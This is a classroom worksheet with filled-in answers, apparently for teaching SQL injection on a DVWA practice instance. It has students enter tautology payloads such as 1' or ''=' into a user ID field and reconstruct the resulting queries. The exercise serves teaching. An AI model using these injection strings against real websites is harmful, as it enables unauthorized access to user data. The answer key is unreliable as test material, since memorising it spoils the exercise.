|  |  |
| --- | --- |
| [Task 0](#rbtfx2ku5tvt)\*. Did you log in WITHOUT the hint? | Yes or no. Many products, like routers and baby monitors, come with default passwords that most people probably don’t bother to change. |
| [Task 1](#wjhogcwxu3ly). Choose “SQL Injection”. In the text field, enter the number 1 and hit submit. What is the output? |  |
| [Task 2](#wjhogcwxu3ly). After completing Task 1, copy the resulting URL from the web browser’s location bar, and paste it here. | <http://34.197.52.233/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#> |
| [Task 3](#4iqo2q5gn9w1). Modify the URL from task 2 to access different data (from another user). What are the different user names and numbers that have data? |  |
| [Task 4](#sddegjdxa419). Write the SQL query that the webpage issues to the database in Task 2. (Click the link & read the hints for the right syntax). | SELECT user\_id, first\_name, last\_name FROM users WHERE user\_id='**1**'; |
| Nothing so far constitutes a database vulnerability. Let’s change that. | |
| [Task 5](#kix.p52vqcyklg0y). Type the following in the User ID box:  1' or ''='  Note that there are two single quotes before the = sign and the keyword or is part of the query.  Post the results and the new URL. | <http://34.197.52.233/DVWA-master/vulnerabilities/sqli/index.php?id=a%27+or+%27%27%3D%27&Submit=Submit#> |
| [Task 6](#21d60qy13mgb). Based on Task 4 come up with the SQL code that would have the same result as in task 5.  Hint: It should start with  SELECT user\_id | SELECT user\_id, first\_name, last\_name FROM users WHERE user\_id='**1′ OR ‘’=’**'; |
| [Task 7](#5t35jq4itszt). Modify your answer to Task 6 to receive the same result. (Write another SQL query.) The more different from the original on task 6 you can make it, the better. | Lots of possible answers, like:  SELECT user\_id, first\_name, last\_name FROM users WHERE user\_id='**a′ OR ‘’=’**';  SELECT user\_id, first\_name, last\_name FROM users WHERE user\_id='**′ OR ‘a’=’a**';  SELECT user\_id, first\_name, last\_name FROM users WHERE user\_id='**’=’**'; |

|  |  |
| --- | --- |
| [Exit Slip](#fpbnwmm8uzc6). Based on Task 7, what would you type now in the box on the DVWA site? | 2’ or ‘’=’  a’ or ‘b’=’b  ’=’ |
| Explain in your own words what the security vulnerability was, and why the attack worked. Include in your explanation why this is called an SQL **injection** attack. | Varies. |